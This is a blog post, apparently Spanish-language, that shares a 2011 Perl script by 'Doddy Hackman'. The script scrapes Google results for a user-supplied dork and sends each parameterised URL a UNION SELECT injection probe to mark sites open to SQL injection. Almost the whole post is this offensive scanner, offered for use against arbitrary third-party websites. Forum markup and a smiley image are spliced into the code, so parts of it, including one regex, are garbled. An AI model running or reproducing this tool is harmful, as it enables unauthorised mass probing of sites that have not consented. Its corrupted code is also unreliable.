1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 | #!usr/bin/perl #Search Google for scan SQLI #(C) Doddy Hackman 2011 use LWP::UserAgent; use HTML::LinkExtor; my $nave = LWP::UserAgent->new; $nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"); $nave->timeout(5); head(); print "\n\n[Dork] : "; chomp(my $dork = <stdin>); print "\n\n[Pages] : "; chomp(my $pages = <stdin>); print "\n\n[Starting the search]\n\n"; my @links = google($dork,$pages); print "\n[Links Found] : ".int(@links)."\n\n\n"; print "[Starting the scan]\n\n\n"; for my $link(@links) { if ($link=~/(.*)=/ig) { my $web = $1; sql($web."="); }} print "\n\n<ul class="bbc_list"><li type="square"> Finish\n";[/li][/list] copyright(); <stdin>; sub google { my($a,$b) = @_; for ($pages=10;$pages<=$b;$pages=$pages+10) { $code = toma("http://www.google.com.ar/search?hl=&q=".$a."&start=$pages"); my @links = get_links($code); for my $l(@links) { if ($l =~/webcache.googleusercontent.com/) { push(@url,$l); } } } for(@url) { if ($_ =~/cache:(.*?)<img src="https://underc0de.org/foro/Smileys/default/sad.gif" alt=":(" title="Triste" class="smiley" />.*?)\+/) { push(@founds,$2); } } my @founds = repes(@founds); return @founds; } sub sql { my ($pass1,$pass2) = ("+","--"); my $page = shift; $code1 = toma($page."-1".$pass1."union".$pass1."select".$pass1."666".$pass2); if ($code1=~/The used SELECT statements have a different number of columns/ig) { print "</li><li type="square"> SQLI : $page\a\n";[/li][/list] }} sub get_links { $test = HTML::LinkExtor->new(\&agarrar)->parse($_[0]); return @links; sub agarrar { my ($a,%b) = @_; push(@links,values %b); } } sub repes { foreach $test(@_) { push @limpio,$test unless $repe{$test}++; } return @limpio; } sub head { print "\n\n-- == Search Google == --\n\n"; } sub copyright { print "\n\n(C) Doddy Hackman 2011\n\n"; exit(1); } sub toma { return $nave->get($_[0])->content; } sub tomar { my ($web,$var) = @_; return $nave->post($web,[%{$var}])->content; } #Thanks to explorer (PerlEnEspañol) # ¿ The End ? |
[Perl] Search in google for scan SQLI
Un simple scanner de SQLI para usar en google
Suscribirse a:
Enviar comentarios
0 comentarios: sobre [Perl] Search in google for scan SQLI
Publicar un comentario para [Perl] Search in google for scan SQLI